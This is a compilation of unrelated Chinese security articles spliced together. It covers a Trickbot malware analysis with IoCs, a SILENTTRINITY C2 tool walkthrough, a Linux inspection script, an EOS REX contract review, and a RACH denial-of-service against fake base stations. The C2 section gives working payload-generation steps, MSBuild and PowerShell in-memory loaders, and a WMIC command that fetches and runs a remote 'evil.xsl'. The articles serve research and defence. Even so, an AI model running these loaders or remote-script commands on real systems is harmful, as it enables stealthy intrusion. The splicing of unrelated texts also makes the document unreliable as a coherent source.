概述

近期,我们通过垃圾邮件中的重定向URL,发现了Trickbot银行木马的一个变种(Trend Micro检测为TrojanSpy.Win32.TRICKBOT.THDEAI)。根据我们的监测,该变种利用Google,从URL hxxps://google[.]dm:443/url?q=<trickbot downloader>重定向,其中查询字符串中的URL url?q=<url>是将用户重定向到的恶意URL。重定向URL是一种有效的逃避方法,旨在防止垃圾邮件过滤器阻止包含恶意URL的Trickbot垃圾邮件。

详细分析

大体看来,垃圾邮件可以通过合法的方式正常传递,甚至可以在其中添加社交媒体图标。邮件的内容声称已经处理订单,并准备好发货。在邮件的正文中,详细说明了包裹的运单号码、交货的免责声明以及卖家的联系方式。网络犯罪分子使用电子邮件中的Google重定向网址来欺骗不知情的用户,诱导这部分用户打开看似无害的网站,从而跳转到攻击者定义的恶意URL。此外,由于该URL来自一个众所周知的站点,也为潜在受害者点击该链接并进行重定向跳转增加了一些可能性。

带有重定向URL的垃圾邮件示例:

1.png

电子邮件中的URL用于将用户从Google重定向到Trickbot的下载站点,浏览器将显示重定向通知,显示用户将被发送到其中包含“订单审核”(Order Review)的链接。

重定向通知:

2.png

在单击链接以确认重定向之后,用户将被引导至伪装成订单审核页面的恶意站点。该站点包含一个提示,通知用户他们的订单将在3秒内生效。

声称是订单审核页面的恶意网站:

3.png

但是,该网站将会自动下载包含Visual Basic脚本(VBS)的.zip文件,该脚本是Trickbot下载程序,一旦执行后,Trickbot就会执行其恶意程序。由于该恶意软件具有模块化的结构,所以Trickbot可以根据其下载和安装的模块,快速部署新功能。它使用的模块具有可以轻松替换的独特功能,从而实现定制攻击。下面列出了该特定恶意软件所使用的模块。

反混淆后的脚本:

4.png

Trickbot执行流程:

5.png

Trickbot模块功能

下面是Trickbot已知模块的简单描述:

1. importDll32 – 窃取浏览器数据,例如:浏览历史记录、Cookie等。

2. injectDll32 – 将恶意代码注入Web浏览器,以监控用户的在线银行信息。
3. mailsearcher32 – 搜索受影响计算机中的文件,以收集其中包含的电子邮件地址。
4. networkDll32 – 收集受影响计算机上的网络信息并将其发送到C&C服务器。
5. psfin32 – 通过LDAP为POS机配置网络。
6. pwgrab32 – 也称为Password Grabber,该工具可以从Filezilla、Microsoft Outlook和WinSCP等应用程序窃取凭据。
7. shareDll32 – 从URL下载Trickbot加载程序,将加载程序传播到连接到受影响计算机的网络共享,并将加载程序安装为持久性服务
8. systeminfo32 – 收集系统信息,如CPU/操作系统/内存信息、用户帐户,以及已安装程序和当前服务的清单。
9. wormDll32 – 利用MS17-010漏洞进行横向移动。

Trickbot模块:

6.png

尽管在恶意邮件中使用链接来传播Trickbot并不是一种特别新的技术,但此次恶意活动中,攻击者对这个老套的方法做出了创新,他们使用了一个合法的URL来绕过垃圾邮件过滤器,并滥用他们的服务或功能。由于电子邮件中通常会包含URL,因此Trickbot背后的网络犯罪分子利用这一点作为掩护,以更加隐蔽的方式扩展器感染链,并试图获得更多受害者的点击。

Trickbot使用的技巧:垃圾邮件、宏以及更多方法

在此前,我们曾经监测到与Trickbot Payload相关的垃圾邮件攻击。通常,相关恶意活动都使用带有恶意附件的垃圾邮件,并将恶意附件伪装成Microsoft Excel文件。尽管在其他的一些恶意活动中,他们声称邮件是来自已知银行和已知金融机构,并将邮件内容伪装成付款通知,但我们此次分析的案例中,Trickbot变体使用的幌子是“订单审核”。一旦用户打开该附件,将会弹出提醒用户启用宏的提示。一旦用户启用,将会执行PowerShell命令,访问恶意链接,并下载Trickbot Payload。

Trickbot以各种方式实现传播,包括Office宏、受密码保护的文档,以及外部的链接。我们经过分析后发现,该恶意软件变种的功能已经从简单地窃取大量应用程序凭据扩展到逃避检测和锁定屏幕。

如何防范Trickbot:安全建议和防护方案

Trickbot的发展已经超出了典型银行木马的发展路线,并且其更新版本可能还会持续出现,在短时间范围内不会消失。举例来说,该恶意软件也被发现作为Payload传递,这一点类似于Emotet的攻击。利用Trickbot的网络犯罪分子主要使用网络钓鱼技术,诱导用户下载附件,并访问能够窃取其凭据的恶意网站。

用户和企业可以积极学习针对垃圾邮件和其他网络钓鱼技术的最佳实践方案,并遵循这些方案进行执行和部署,从而防范此类威胁:

1. 在收到电子邮件后,及时检查发件人地址是否存在明显异常,检查是否来自完全陌生的邮箱地址,或者是否包含明显的语法(拼写)错误。

2. 不要打开来源不明的电子邮件中包含的附件。

3. 在网络中,开启全面的日志记录,并保留一定时间周期内的日志,这样能有助于IT人员跟踪恶意URL流量等可疑活动。

4. 对网络中的潜在威胁进行监控,这可以帮助企业识别传统安全解决方案可能无法检测到的恶意活动。

用户和企业也可以采用多层次的安全防护方案,来抵御Trickbot等威胁所产生的风险。我们建议用户可以选用终端应用程序控制,并确保只下载、安装和查看与白名单应用程序和白名单站点相关的文件、文档和更新,从而减少恶意攻击的风险。用户可以使用终端解决方案,例如安全软件、云安全智能防护套件、企业安全软件、网络防御设备,从而实现对恶意文件和恶意URL的检测,实时保护用户的系统。

IoC

文件名:importDll32.dll

SHA-256:be201f8a0ba71b7ca14027d62ff0e1c4fd2b00caf135ab2b048fa9c3529f98c8

检测为:TSPY_TRICKBOT.NL

文件名:injectDll32.dll

SHA-256:a02593229c8e75c4bfc6983132e2250f3925786224d469cf881dbc37663c355e

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:mailsearcher32.dll

SHA-256:7f55daf593aab125cfc124a1aeeb50c78841cc2e91c8fbe6118eeae45c94549e

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:networkDll32.dll

SHA-256:c560cca7e368ba23a5e48897e2f89ed1eb2e5918a3db0b94a244734b11a009c6

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:psfin32.dll

SHA-256:f82d0b87a38792e4572b15fab574c7bf95491bf7c073124530f05cc704c1ee96

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:pwgrab32.dll

SHA-256:fe89e399b749ee9fb04ea5801a99a250560ad1a4112bbf6ef429e8e7874921f2

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:shareDll32.dll

SHA-256:7daa04b93afff93bb2ffe588a557089fad731cac7af11b07a281a2ae847536d5

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:systeminfo32.dll

SHA-256:312dec124076289d8941797ccd2652a9a0e193bba8982f9f1f9bdd31e7388c66

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:wormDll32.dll

SHA-256:55f74affe702420ab9e63469d2b6b47374f863fe06ef2fffef7045fb5cbb1079

检测为:TrojanSpy.Win32.TRICKBOT.TIGOCCA

文件名:8_81_32.vbs

SHA-256:11b4c8b88142e9338a3cee2464e2ac1f4caccbdf94ab0ccf40c03b6960b35dd2

检测为:Trojan.VBS.TRICKBOT.SMDLDR

文件名:84_692_6.vbs

SHA-256:23b3cbf50531ff8cb4f81cc5d89e73f2b93f24bec575334bc133722fd9abb8fb

检测为:Trojan.VBS.TRICKBOT.SMDLDR

文件名:Day5Inypriv

SHA-256:ce46ce023e01d2afa2569962e3c0daa61f825eaa1fb5121e982f36f54bb6ab53

检测为:TrojanSpy.Win32.TRICKBOT.THDEAI

0x00 前言

SILENTTRINITY是由byt3bl33d3r开源的一款C2工具,通过C#实现,利用IronPython引擎来执行Python代码,十分值得研究。这款工具通过Python实现payload,不仅提高了效率,而且利用IronPython引擎从内存加载payload,更为隐蔽。

本文将要站在技术研究的角度,分析SILENTTRINITY的原理并进行扩展,最后给出防御检测的建议。

地址:https://github.com/byt3bl33d3r/SILENTTRINITY

0x01 简介

本文将要介绍以下内容:

· SILENTTRINITY的简单使用

· SILENTTRINITY的实现细节

· C#利用IronPython调用Python的方法

· 防御检测的建议

0x02 SILENTTRINITY的简单使用

操作方法同meterpreter相似。

1、安装

git clone https://github.com/byt3bl33d3r/SILENTTRINITY.git
cd SILENTTRINITY
cd Server
python3 -m pip install -r requirements.txt
python3 st.py

2、开启监听

listeners
use http
options
start

3、生成payload

stagers
list
use msbuild
generate http

4、启动方式之一

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml

0x03 SILENTTRINITY的实现细节

源码的文件结构如下:

· SILENTTRINITY,核心文件,C#开发,格式为exe

· SILENTTRINITY_DLL,内容同上,但格式为dll

· Server,控制端,包括多个Python实现的payload

SILENTTRINITY和SILENTTRINITY_DLL功能相同,只是文件格式不同,所以这里以SILENTTRINITY为例。

1、SILENTTRINITY

实现的功能可参照下图右半部分:

Alt text

注:图片引用自https://github.com/byt3bl33d3r/SILENTTRINITY

详细说明如下:

(1启动IronPython引擎,释放资源文件并导入Python环境

资源文件名:IronPython.StdLib.2.7.9.zip

压缩包内的文件为Python的默认模块。

如果安装了IronPython,压缩包的文件同默认安装路径下C:\Program Files\IronPython 2.7\Lib中的文件内容保持一致。

IronPython下载地址:

https://github.com/IronLanguages/ironpython2/releases/tag/ipy-2.7.9

(2从Server下载stage.zip

stage.zip中包含五个文件:

· IronPython.dll

· IronPython.Modules.dll

· Microsoft.Dynamic.dll

· Microsoft.Scripting.dll

· Main.py

其中,前四个为IronPython引擎的依赖文件,Main.py为主体程序,用于接收控制命令,加载payload,回传输出结果。

(2利用IronPython调用Python

后面将会详细介绍。

2、Server

作为控制端。

modules文件夹下包含所有支持的Python脚本。

stagers文件夹下包含三种启动方式:

· msbuild

· powershell

· wmic

(1)msbuild

启动方式:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml

流程:

msbuild.exe->.xml->C#

通过msbuild.exe加载msbuild.xml,这里使用了.NET Framework 4.0中支持了的新功能"Inline Tasks",被包含在元素UsingTask中,可用来在xml文件中执行c#代码。

msbuild.xml实现了将加密字符串做base64解码,解密出SILENTTRINITY,最终在内存中加载(C#实现)。

这个利用方法我在之前的文章有过利用分析:

《Use MSBuild To Do More》

(2)powershell

启动方式:

执行powershell脚本。

流程:

powershell.exe->.ps1->C#

同样是将加密字符串做base64解码,解密出SILENTTRINITY,最终在内存中加载(Powershell实现),关键代码如下:

[Reflection.Assembly]::Load($bytes)
$asm = [Reflection.Assembly]::Load($UncompressedFileBytes)
$type = $asm.GetType("ST")
$main = $type.GetMethod("Main")

表示加载exe中Main下的ST方法。

这个利用方法我在之前的文章有过利用分析:

《利用Assembly Load & LoadFile绕过Applocker的分析总结》

(3)wmic

启动方式:

C:\Windows\System32\wbem\WMIC.exe os get /format:"evil.xsl"

或者

C:\Windows\System32\wbem\WMIC.exe os get /format:"https://example.com/evil.xsl"

流程:

wmic.exe->.xsl->javascript

通过wmic.exe加载wmic.xsl,wmic.xsl可以放在本地,也可以放在远程服务器。

同样是将加密字符串做base64解码,解密出SILENTTRINITY,最终在内存中加载(JavaScript实现)。

这个利用方法我在之前的文章有过利用分析:

《利用wmic调用xsl文件的分析与利用》

(4)其他可供利用的方法

SILENTTRINITY未包括,此处作为扩展,例如:

· regsvr32.exe,《Code Execution of Regsvr32.exe》

· rundll32.exe,《关于利用rundll32执行程序的分析》

0x04 C#利用IronPython调用Python的方法

需要使用IronPython,参考资料:

https://ironpython.net/

本节介绍一些基本用法,有助于进一步扩展SILENTTRINITY的功能。

1、常用的基本脚本

下载安装IronPython:

https://github.com/IronLanguages/ironpython2/tree/master/Src/IronPythonCompiler

开发工具: VS2015

新建C#工程,添加引用:

· IronPyhon

· Microsoft.Scripting

注:

编译后生成的exe在执行时需要以下依赖文件:

· IronPython.dll

· IronPython.Modules.dll(有的工程不需要)

· Microsoft.Dynamic.dll

· Microsoft.Scripting.dll

(1)简单的hello world程序,调用test.py,输出Hello World

code1:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;

namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            var engine = Python.CreateEngine();
            engine.ExecuteFile("test.py");

        }
    }
}

test.py:

print("Hello World")

(2)向python脚本传参数并输出

code2:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;
namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            var engine = Python.CreateEngine();

            var scope = engine.CreateScope();

            scope.SetVariable("argv", "Hello World");

            engine.ExecuteFile("test.py",scope);
        }
    }
}

test.py:

print('%s'%argv)

(3)调用python脚本的main函数

code3:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;

namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            var engine = Python.CreateEngine();
            var scope = engine.CreateScope();
            engine.ExecuteFile("test.py",scope);

            dynamic main = scope.GetVariable("main");

            main();

        }
    }
}

test.py:

def main():
        print("Hello World")
if __name__ == '__main__':
	main("")

(4)将python脚本的内容存储在变量中并执行

code4:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;

namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            string script = "print('%s'%argv)";
            var engine = Python.CreateEngine();
            var scope = engine.CreateScope();
            scope.SetVariable("argv", "Hello World");
            var sourceCode = engine.CreateScriptSourceFromString(script);
            sourceCode.Execute(scope);
        }
    }
}

(5)python脚本支持第三方库

code5:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using IronPython.Hosting;

namespace IronPythonTest
{
    class Program
    {
        static void Main(string[] args)
        {
            var engine = Python.CreateEngine();
            engine.SetSearchPaths(new[] { "Lib" });
            engine.ExecuteFile("test.py");
        }
    }
}

找到IronPython的安装路径,默认为C:\Program Files\IronPython 2.7。

将其中的Lib目录复制到编译生成的IronPythonTest.exe的同级目录下。

test.py:

import os
os.system("calc.exe")

2、使用ipyc将python脚本编译成exe

类似于py2exe的功能。

源码:https://github.com/IronLanguages/ironpython2/tree/master/Src/IronPythonCompiler

编译好的文件可从IronPython的目录中获得。

默认安装位置:

C:\Program Files\IronPython 2.7\ipyc.exe

0x05 防御检测

SILENTTRINITY的启动程序本身不包含恶意的功能,只是从远程服务器下载文件并利用IronPython调用Python,这是一个完全正常的功能。

启动方式上利用了Windows系统本身自带的程序(例如msbuild.exe,powershell.exe,wmic.exe,也可以扩展成regsvr32.exe或rundll32.exe),较为隐蔽。

但SILENTTRINITY需要发起网络连接,传输stage.zip和Python脚本,所以如果程序调用了IronPython并发起了网络连接,极有可能是存在风险的行为。

0x06 小结

本文分析了SILENTTRINITY的实现细节,提出了一些扩展的思路,介绍了C#利用IronPython调用Python的方法,结合SILENTTRINITY的特征,给出防御检测的建议。

我们在做主机安全检查或安全事件处置时,避免不了要去检查系统的安全情况。在进行Linux安全检查时,需要使用相关的脚本对系统的安全情况进行全面分析,一方面需要尽可能的收集系统的相关信息,另一方面在数量较多的时候尽可能的提高效率。

由于在多次的安全检查中遇到检查时都是几十台服务器要做一个全面检查的情况,如果人工手写脚本的话,一方面效率较低另一方面需要安全检查者熟悉所需要检查的项。

在这种情况下,本人写了一个Linux安全检查的脚本,该脚本主要在以下场景使用:

1.Linux主机安全检查时;

2.Linux主机发生安全事件需要全面分析时。

该脚本完成有一段时间,最近在应急响应群里讨论,发现这块的安全检查是大家的一个强需求,因此把该检查脚本共享给大家,共享的目的主要以两个:一是提高大家在Linux安全检查时的效率,释放大家的精力;另一方面希望大家在使用的过程中可以不断地发现问题,不断的总结缺少的安全检查项,协助完善该检查脚本。所以大家在使用过程中有任何问题或建议欢迎及时同步给我。

检查内容

整体框架

关于Linux安全检查,这里面我总结主要需要检查以下内容:

1.系统安全检查(进程、开放端口、连接、日志等)

这一块是目前个人该脚本所实现的功能;

2.Rootkit

建议使用rootkit专杀工具来检查,如rkhunter;

3.Webshell

这一块查杀技术难度相对较高,不是本脚本所需要实现的功能,针对这一块的检查可以使用D盾来检查 (Linux下可以将web目录挂载到Windows下进行检查);

4.Web日志

5.流量

这一块主要侧重主机的长期的流量分析,目前个人使用tshark实现了基础的流量分析,后期会进行相应的完善。流量这一块可以提取流量五元组、DNS流量、HTTP流量再结合威胁情报的数据进行深度分析。这个后期个人会进行相关的尝试,可能的话会进行相应内容的分享。

系统安全检查框架

image.pngimage.png

功能实现

功能设计

V1.0 主要功能用来采集信息 

V1.1 主要功能将原始数据进行分析,并找出存在可疑或危险项

V1.2 增加基线检查的功能

V1.3 可以进行相关危险项或可疑项的自动处理

目前到V1.2版本,后期完善V1.3相关的功能。

另外,操作上可以实现一键进行安全检查,并将检查后的结果保存到本机。只需要在hosts文本中输入相应的IP、账号、密码。操作上人工参与最小化。

各脚本功能说明

下载后相关整个脚本的目录结构如下所示:

checkrulues: 部分判断逻辑,这里面目前仅有端口的判断逻辑,后期可以将进程、应用程序是否有漏洞等,逻辑放在这里面进行安全检查,比较简单的判断逻辑直接在buying_linuxcheck.sh中可以实现;

buying_linuxcheck.sh: 核心检查逻辑;

del.exp: 删除远程服务器上的脚本与检查结果;

get.exp: 获取远程服务器上安全检查的结果;

hosts.txt:需要被检查的服务器列表;

login.sh:一键进行登录检查,安全检查时只需要运行该脚本即可;

put.exp:将安全检查脚本上传到远程服务器上;

readme.txt:使用相关说明文档;

sh.exp:在远程服务器上执行安全检查脚本;

下面针对其中部分脚本进行介绍。

Ø Checkrules

判断逻辑主要放在两个文件中:一个是checkrules中,格式为dat,这里面建议将比较复杂的判断逻辑放在这里,如下面的TCP危险端口这块,因为比较多,如果放在buying_linuxcheck.sh中则代码有些冗长,下面是TCP高危端口的判断逻辑,主要还是根据木马默认使用的端口号,这里面判断的逻辑相对简单,可能会存在误报的情况,所以后续需要人工介入分析。

image.pngØ buying_linuxcheck.sh

核心的功能收集与判断逻辑,比较简单的判断逻辑可以放在这里面进行判断。

image.png

使用

使用比较简单,将本脚本拷贝到自己一台Linux主机上,可以使用虚拟机,将需要被检查的服务器的IP、账号、密码放到hosts.txt目录中,直接运行即可实现一键安全检查。

相关操作

1.将需要被检查的服务器IP、账号、密码写入到hosts.txt文件中,格式为:

IP:port:user:userpassword:rootpassword

其中user为普通用户的账号,port为ssh登录端口,uesrpassword为普通账号的密码,rootpassword为root的密码,只所以加个普通用户是因为有的系统做了安全策略,不允许root直接登录,如果被检查的服务器允许root直接登录,可以直接把user和userpassword写成root以及root密码。

image.png

这里面被检查的服务器允许root直接登录,因此直接写root账号和密码。

2.运行安全检查脚本:sh login.sh

安全检查脚本就在后台运行了,稍等…….

image.png

3.看到删除远程服务器上的检查脚本与检查结果,就说明检查结束了。

image.png

4.检查结束后,会将远程服务器上的结果保存到本地主机上:

image.png

检查结果说明

检查结束后,将相应的结果解压后目录结构如下所示:

image.png

Ø Check_file

保存的是检查的最终结果,长这个样子……

image.png

Ø Log

目录中保存的是Linux系统日志,web日志这块目前脚本没有实现自动打包的功能,原因就是web日志经常太大,并且保存的日志可能从运行到现在的所有日志,很多日志并不需要进行检查与分析,因此在检查时相关人员可以根据具体情况进行打包相应的日志。

image.png

Ø danger_file.txt

保存的是在安全检查过程中发现的问题:

image.png

Ø sysfile_md5.txt

保存的是系统关键文件或系统文件的MD5值,之所以将这些关键文件的MD5记录下来主要有两个功能:一是周期性的检查时,可以与第一次的结果进行对比,若有变动会提示;另一个是可以将这些关键文件的MD5值跑一下威胁情报库或virustotal以发现可能存在的系统文件被替换的情况。

image.png

代码下载

相关代码已上传到github,有需要可自行下载,有问题也可以直接联系:

https://github.com/T0xst/linux

参考

在完成该脚本的同时也参考了前人写的各种判断逻辑,个人感觉本人这个脚本相对还是比较完善与适应应急响应与安全检查场景的。以下是参考前期的链接:

https://www.freebuf.com/sectool/108564.html

https://www.freebuf.com/sectool/123094.html

https://my.oschina.net/yomut/blog/714885

转发———–感觉还是挺实用的。

*本文作者:guishen,转载请注明来自FreeBuf.COM

前言

上一篇文章粗略分析了整个买卖 rex 的流程,由于篇幅的原因,剩下有一些细节没有分析到位。所以,这篇文章将在上一篇文章的基础上对一些细节进行深入的分析。

头图.png

前情回顾

上一篇介绍了买卖 rex 的流程,涉及到了几个函数,我们一起回顾下:

1、deposit:用于充值,将 EOS 变成 SEOS,也叫预备金。   

2、withdraw:用于提现,将 SEOS 换回 EOS。   

3、buyrex:用于从用户的预备金中扣除相应的份额,并用于 rex 的购买。   

4、sellrex:用于卖出已经结束锁定的 rex,并将本金连带收益一起放进用户的预备金账户中。    

5、add_to_rex_pool:用于将用户购买的 rex 放进 rex_pool 中,并根据 rex_pool 中的相关信息计算出用户能够购买的 rex 的数量,被 buyrex 函数调用。    

6、fill_rex_order:处理用户卖单,计算收益。

以上几个函数除了 sell_rex 和 fill_rex_order 其他函数都介绍得差不多了,本文将重点介绍这两个函数的细节。

sellrex 函数

void system_contract::sellrex( const name& from, const asset& rex )
   {
      require_auth( from );

      runrex(2);

      auto bitr = _rexbalance.require_find( from.value, "user must first buyrex" );
      check( rex.amount > 0 && rex.symbol == bitr->rex_balance.symbol,
             "asset must be a positive amount of (REX, 4)" );
      process_rex_maturities( bitr ); ///先收获成熟的rex
      check( rex.amount <= bitr->matured_rex, "insufficient available rex" );///只能卖成熟的rex

      auto current_order = fill_rex_order( bitr, rex );///拿到出租EOS得到的分红
      asset pending_sell_order = update_rex_account( from, current_order.proceeds, current_order.stake_change );
      //订单状态不成功
      if ( !current_order.success ) {
         /**
          * REX order couldn't be filled and is added to queue.
          * If account already has an open order, requested rex is added to existing order.
          */
         auto oitr = _rexorders.find( from.value );
         if ( oitr == _rexorders.end() ) {
            oitr = _rexorders.emplace( from, [&]( auto& order ) {
               order.owner         = from;
               order.rex_requested = rex;
               order.is_open       = true;
               order.proceeds      = asset( 0, core_symbol() );
               order.stake_change  = asset( 0, core_symbol() );
               order.order_time    = current_time_point();
            });
         } else {
            _rexorders.modify( oitr, same_payer, [&]( auto& order ) {
               order.rex_requested.amount += rex.amount;
            });
         }
         pending_sell_order.amount = oitr->rex_requested.amount; 
      }
      check( pending_sell_order.amount <= bitr->matured_rex, "insufficient funds for current and scheduled orders" );
      // dummy action added so that sell order proceeds show up in action trace
      if ( current_order.success ) {
         dispatch_inline( null_account, "sellresult"_n, { }, std::make_tuple( current_order.proceeds ) );
      }
   }

以上为 sellrex 函数的具体实现,从开头开始一步一步进行分析。首先抛开 runrex 这个函数,这个函数并不属于本次讨论的范围,runrex 函数主要用于处理 rex_pool 的信息,包括处理到期的资源租赁订单,回收用户资源,处理用户的 rex 卖单等,有兴趣的同学可以先自行研究,以后的文章也会进行单独的分析。

接上篇分析,sellrex 函数我们分析到了 fill_rex_order 函数就没有继续往下分析了,fill_rex_order 函数也只是讲了最核心的收益公式,这次我们来仔细进行分析。sellrex 流程如下: 

1、经过了一系列的检查之后,获取用于已经解锁的 rex 的数量,调用 fill_rex_order 获取用户的卖单。    

2、卖单携带着订单的完成状态,这是一个 flag,分为成功和失败两种状态,当状态为失败的时候,进入上文的 if 条件。 

2.1、订单状态成功 

订单状态成功的时候 current_order.proceed 的值大于 0,这个时候通过 update_rex_account 将卖 rex 的所得转至用户的储备金账户。用户就可以直接进行提现或者继续下一轮的购买了。 

2.2、订单状态为失败 

这个时候创建一个 order,我们这里为了不混淆,不说卖单,而是说为欠条,是一个 REX 平台给你的借条。什么意思呢?打个比方,你去商店订购商品,商品存货不足,这时候怎么办呢?这时候商店就会给你打一个单,这个单记录了你是谁,你要买多少的商品,买的时间等信息,等有货了就会根据这个单给你补上商品。REX 也是同样的道理,用户在卖 rex 的时候,由于 rex_pool 中的资金不足以支付用户的本金 + 收益,就会将用户的订单暂时挂起。这就是 REX 给你打的欠条,当 REX 资金充足的时候,就会把钱还你。当 sellrex 失败的时候,这个借条记录了以下信息: 

(1)卖 rex 的用户。    

(2)要卖的 rex 的数量(记录在 rex_requested 字段中)。    

(3)用户的收益,此时为 0,因为 rex 没有卖出去,收益是不存在的。    

(4)抵押状态,这个抵押状态是由于 buyrex 的时候,根据购买的数量会产生的相应的票权。   

(5)这个欠条创建的时间。 

3、最后,检查挂起的金额有没有超过已经解锁的 rex 的数量。

以上就把 sellrex 完整的讲完了,但是还有一个疑问,就是为什么会存在资金不足的情况,以及如何判定资金不足?这些秘密都在 fill_rex_order 里面。下面就详细的分析 fill_rex_order 函数。

rex_order_outcome system_contract::fill_rex_order( const rex_balance_table::const_iterator& bitr, const asset& rex )
   {
      auto rexitr = _rexpool.begin();
      const int64_t S0 = rexitr->total_lendable.amount;
      const int64_t R0 = rexitr->total_rex.amount;
      const int64_t p  = (uint128_t(rex.amount) * S0) / R0; ///越多人借用资源收益越高
      const int64_t R1 = R0 - rex.amount; ///更新rex pool中rex的数量
      const int64_t S1 = S0 - p; ///更新rex pool中EOS的数量
      asset proceeds( p, core_symbol() ); ///获得的收益
      asset stake_change( 0, core_symbol() );
      bool  success = false; ///默认订单完成状态为0

      check( proceeds.amount > 0, "proceeds are negligible" );

      const int64_t unlent_lower_bound = rexitr->total_lent.amount;
      //计算能未质押的rex pool中的EOS的数量,用于接下来观察是否足够支付用户产生的rex利润
      const int64_t available_unlent   = rexitr->total_unlent.amount - unlent_lower_bound; // available_unlent <= 0 is possible 
      //rexpool中的钱足够支付rex利润
      if ( proceeds.amount <= available_unlent ) {
         const int64_t init_vote_stake_amount = bitr->vote_stake.amount;
         const int64_t current_stake_value    = ( uint128_t(bitr->rex_balance.amount) * S0 ) / R0;
         _rexpool.modify( rexitr, same_payer, [&]( auto& rt ) {
            rt.total_rex.amount      = R1;///更新rex pool中的rex的数量
            rt.total_lendable.amount = S1; ///更新lenableEOS数量
            rt.total_unlent.amount   = rt.total_lendable.amount - rt.total_lent.amount; ///减少unlent数据
         });
         //对用户的rexbalance账户进行操作
         _rexbalance.modify( bitr, same_payer, [&]( auto& rb ) {
            rb.vote_stake.amount   = current_stake_value - proceeds.amount;
            rb.rex_balance.amount -= rex.amount;
            rb.matured_rex        -= rex.amount; ///减少已经成熟的rex的数量
         });
         stake_change.amount = bitr->vote_stake.amount - init_vote_stake_amount;
         success = true;
      ///不够钱支付的情况
      } else {
         proceeds.amount = 0;
      }

      return { success, proceeds, stake_change };
   }

上一篇文章我们分析了核心的收益公式是怎么计算出来的。这次从11行开始,看看这个函数做了什么: 

1、首先获取 unlent_lower_bound 的值,即最低未出租 rex_pool 中的 EOS 的数量。这个字段等于用户从 rex_pool 中借用资源的总量,是以 EOS 为单位的。 

2、计算 available_unlent 的值,这个值有可能为负数,为什么呢?假设一个场景,你是一个投资经理,你手上有很多投资人的钱,然后你把投资人的钱拿出去放贷收取利息,那么请问,这个时候你手上的资金还有多少?答案自然是:投资人的钱 – 放贷资金 + 放贷收益。REX 相当于这个投资经理,用户可以用少量的成本(EOS)换取大量的贷款(资源),这个时候,REX 的资金池中的资金就就变成了:用户的资金 – 租用的金额 + 租用收益。根据前面的描述,用于租用资源的资金总是小于 REX 平台出租出去的资金,也就是说 在持续出租资源的时候,rex_pool 中的资金总是不断变少的(这里不讨论系统收益的情况)。想清楚这一点,就能明白为什么 available_unlent 的值为负数了,当出租出去的资金大于 rex_pool 中当前资金 + 收益的时候,这个值就会为负数。 

3、判断用户出售的 rex 获得的收益是否小于 rex_pool 中的剩余资金,相当于投资人想要回自己的钱,这个时候分两种情况:    

3.1、如果资金不够,那么这个订单就会挂起,此时由 sellrex 函数创建一个欠条,这就是订单失败的由来。    

3.2、如果够的话,则从 rex_pool 资金池中减去用户收回的资金,更新相关的表字段,更新用户的 rex_balance 账户,扣除相应的 rex 解锁金额。

那么到这里,整个 sellrex 的流程都讲清楚了,流程图是这样子的:

08FD00D3883EE2741C6B85D82C849FA4.jpg

安全性分析

由于本次没有拓展新的函数,所以安全结论是和上篇是一样的,但是这次我们可以对上次说的安全问题有更深的了解。在原先版本的 rex 合约中,是没有 check( pending_sell_order.amount <= bitr->matured_rex, “insufficient funds for current and scheduled orders” ) 这一个校验的,这会导致什么呢?我们知道,当资金池中的资金不足以支付用于的卖单的时候,将跳过 if 判断下的所有步骤,直接由 sellrex 函数挂起订单,在这种情况下,恶意用户在系统资金池资金不足的时候,就可以一直卖 rex,叠加挂起订单的 rex 金额,直到资金池有足够的资金支付,出售比购买 rex 数量更多的 rex。但是这样操作还是会卖不出去,因为最后更改用户 rex_balance 的时候由于 asset 结构体自带的溢出检测,是不能成功卖出去的。但是这就会让这个订单成为一笔坏账,在这种情况下,因为有未完成的 sellrex order,整个 REX 系统将停止运行。具体原因是什么可以自己去发现,答案会在下一篇文章揭晓。

文章可能有说得不对或说得不够好的地方,欢迎讨论交流。

详情参考:    

https://eosauthority.com/blog/REX_progress_with_testing_and_implementation_details

声明

本文仅用作技术参考,不构成任何投资建议。投资者应在充分了解相关风险的基础上进行理性投资。

*本文作者:SlowMist team,转载请注明来自FreeBuf.COM

虽然目前国内伪基站相比于前几年来说已经少了很多,但还是有少量流动的,或者一些边境区域会受到影响。以往的打击伪基站手段都是采用大数据分析,发现后出警抓捕。但对于流动的,或者跨境的,就比较难办了。 基于这种现状,2017年开始跟某地运营商开始研发有防御伪基站功能的设备。

即设备所在范围内,出现伪基站后,设备对伪基站展开攻击,令伪基站失效。

思路

要实现跟伪基站的空中对抗,早期的实验条件,当然少不了C118和OsmocomBB,C118和OsmocomBB就不多说了。

第一阶段,尝试短时间内发送大量RACH请求去消耗伪基站资源。

首先搭建实验环境,通过BladeRF搭建了一个YateBTS。

YateBTS搭建起来后,把2台手机设置到2G模式下,接入YateBTS,成功的拨通了两台手机后,实验基站即搭建成功。接下来就是利用OsmocomBB,修改它的代码,发起RACH dos攻击。

要观测RACH的效果,少不了Wireshark这个工具。从Wireshark抓包的结果上来看,C118跑起修改过的OsmocomBB后,信令里已经出现了大量IMM REJ,这个时候可以说,YateBTS已经拒绝服务了。

这个时候,其他手机虽然还能检测出YateBTS信号,但已经无法完成位置更新。也就是说,如果这个是一个伪基站,它在我们的RACH攻击下,已经彻底失去吸入用户的能力。

